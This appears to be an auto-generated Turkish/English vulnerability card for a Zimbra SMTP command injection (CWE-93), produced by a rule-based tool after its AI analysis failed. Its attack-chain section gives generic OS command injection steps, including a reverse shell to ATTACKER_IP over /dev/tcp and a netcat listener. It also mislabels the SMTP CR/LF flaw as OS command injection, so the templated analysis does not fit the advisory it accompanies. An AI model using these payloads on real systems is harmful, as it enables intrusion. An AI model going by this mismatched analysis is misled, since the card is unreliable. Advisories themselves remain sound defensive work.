CWE-93
An SMTP command injection vulnerability in the data-source testing functionality of Zimbra Collaboration Suite (ZCS) allows an ordinary authenticated user with account options enabled to inject CR/LF into the emailAddress inserted into an SMTP envelope command by a JSON SOAP request. After a successful preliminary POP3 or IMAP login, Zimbra sends the injected commands to the selected SMTP service. If that service accepts the pipelined transaction, the attacker can submit mail with attacker-selected recipients, headers and body content without victim interaction. The vulnerable command-construction path is present in ZCS 10.1.16 and 10.1.20.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-115785
CVSS 4.3/10 · ORTA · 23.10.2026
CWE: CWE-93
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 AÇIK NEDİR?
OS Command Injection
Açıklama: An SMTP command injection vulnerability in the data-source testing functionality of Zimbra Collaboration Suite (ZCS) allows an ordinary authenticated user with account options enabled to inject CR/LF into the emailAddress inserted into an SMTP envelope command by a JSON SOAP request. After a successful preliminary POP3 or IMAP login, Zimbra sends the injected commands to the selected SMTP servi…
Etkilenen: synacor:zimbra_collaboration_suite
⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Test: ; id veya | id ile komut çalıştırılıp çalıştırılmadığı kontrol edilir.
2. Blind: ; sleep 5 ile gecikme oluşturulur.
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
4. Windows: & whoami / | dir C:\
5. Netcat listener: nc -lvnp 4444
🔧 Araçlar: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190
🌍 GERÇEK DÜNYA ETKİSİ
🛡️ ÇÖZÜM VE MİTİGASYON
→ synacor:zimbra_collaboration_suite için üretici güvenlik güncellemesini uygula.
→ Kullanıcı girdisini asla shell komutuna geçirme.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.
⚠️ ACİLİYET
📋 Rutin güncelleme (30 gün)
────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]
[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]